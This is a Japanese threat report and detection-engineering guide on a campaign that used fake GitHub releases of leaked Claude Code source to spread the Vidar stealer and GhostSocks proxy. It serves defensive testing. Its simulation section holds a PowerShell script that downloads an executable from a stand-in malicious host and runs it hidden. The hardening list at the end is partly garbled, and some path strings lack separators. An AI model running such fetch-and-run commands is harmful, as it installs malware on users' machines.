クロードコードがGitHubリリースをマルウェア配信チャネルに変える手口

概要

脅威アクターは、間違って公開されたAnthropicのClaude Codeソースを露呈した誤設定のnpmパッケージを迅速に利用しました。彼らはRustで構築されたローダーをドロップするトロイの木馬化された7z「リリース」をホストする偽のGitHubリポジトリを立ち上げました。実行されると、ドロッパーはVidarインフォスティーラーとGhostSocks SOCKS5プロキシをインストールし、盗難と隠密なアクセスを可能にします。

調査

調査により、2026年2月から活動している短期間のGitHubアカウントを利用した回転ルアー作戦が明らかになりました。ルアーセット全体で、被害者は同じTradeAI.exeペイロードを受け取り、それが組み込まれたC2 URLを解読し、解析対策チェックを実行し、VidarとGhostSocksの両方を展開します。C2の発見は、SteamとTelegramにホストされたデッドドロップリゾルバーを通じて処理され、キャンペーンがインフラストラクチャを迅速に循環させるのに役立ちます。

緩和策

組織は、AIツールのインストールを精査されたソースに限定し、既知の悪意のあるGitHubリリースリンクと関連するC2ドメインをブロックし、資格情報の盗難行為を注意深く監視してください。Rustでコンパイルされたドロッパーと一般的なVidar/GhostSocksの実行パターンのエンドポイント検出を追加してください。サンドボックス回避信号のカバレッジを強化し、準備またはフォローオンアクションに使用される可能性のある疑わしいスクリプトの実行（異常なPowerShell活動を含む）を制限してください。

対応策

検出された場合は、エンドポイントを隔離し、悪意のある実行ファイルとその関連する7zアーカイブを保存し、ホストやネットワーク上でVidarやGhostSocksのアーティファクトを探してください。特定されたpastebinやsnippet.hostのURLをブロックし、露出した資格情報を直ちに無効化してください。資格情報への完全な侵害評価を実施し、その後、特権アカウントをリセットし、トークン/セッションを無効化して再利用を防止してください。

シミュレーション実行

前提条件：Telemetry & Baseline Pre-flight Check が合格したこと

理由：このセクションでは、検出ルールをトリガーするために設計された敵対者技術（TTP）の具体的な実行を詳細に説明します。コマンドとナラティブは、特定されたTTPに直接反映され、検出ロジックによって予測される正確なテレメトリーを生成することを目的としています。

• 攻撃の説明とコマンド：
  敵対者は、悪意のあるリンクを含むフィッシングメール（T1566.002）を受け取り、 TradeAI.exeにホストされているGitHubリポジトリにアクセスします。被害者がリンクをクリックすると、隠されたウィンドウでPowerShellが起動されます。スクリプトはドロッパーを一時ディレクトリにダウンロードし、実行し、その後にVidarスティーラーとGhostSocksプロキシをインストールします（T1027, T1090.003）。

• リグレッションテストスクリプト：

   # -------------------------------------------------
    # TradeAI.exe ドロッパーの実行をシミュレート
    # -------------------------------------------------
    $url = "http://malicious.example.com/TradeAI.exe"
    $outPath = "$env:TEMPTradeAI.exe"
  
    # ドロッパーをダウンロード（実際の攻撃者の行動を模倣）
    Invoke-WebRequest -Uri $url -OutFile $outPath -UseBasicParsing
  
    # ドロッパーを静かに実行
    Start-Process -FilePath $outPath -WindowStyle Hidden
  
    # 任意：子プロセスが生成されるまで数秒待機
    Start-Sleep -Seconds 5
    # -------------------------------------------------

• クリーンアップコマンド：

   # ダウンロードされたドロッパーと一時的なアーティファクトを削除
    $outPath = "$env:TEMPTradeAI.exe"
    if (Test-Path $outPath) { Remove-Item $outPath -Force }
  
    # （ドロッパーが追加のファイルを作成した場合は、必要に応じて探し出して削除）
    # 例：既知のペイロードディレクトリを削除
    $payloadDir = "$env:APPDATAVidar"
    if (Test-Path $payloadDir) { Remove-Item $payloadDir -Recurse -Force }

検証と期待される結果

1. 期待されるSIEMアラート： リグレッションスクリプトを実行後、SIEMは以下の条件でアラートを生成するべきです： イメージ は以下で終了します： TradeAI.exe (or ClaudeCode_x64.exe）。アラートタイトルはルールの タイトル フィールドに一致します。
2. 回避テスト： ダウンロードされたバイナリを TradeAI_renamed.exe にリネームしてスクリプトを再実行します。アラートが発火しないことは、ルールが静的なファイル名に依存していることを確認します。

ハードニング推奨

1. ハッシュのインジケーターを追加： 既知の悪意のあるドロッパーのSHA-256ハッシュをルールに追加（または別のハッシュベースルール）。
2. スコープの拡大： 非典型的な場所（例： %TEMP%, %APPDATA%).
3. ）から起動された未知のバイナリの実行を監視するために検出を拡大。 行動の相関：
4. プロセス作成を既知のGhostSocks C2ドメイン（T1090.003）への後続のネットワーク接続および既知のVidarコンポーネントのファイル書き込みと相関させます。 AppLockerまたはWindows Defender Application Controlを配備して、ユーザー書き込み可能ディレクトリからの署名されていないバイナリの実行をブロックします。

エンドポイントの強制実施：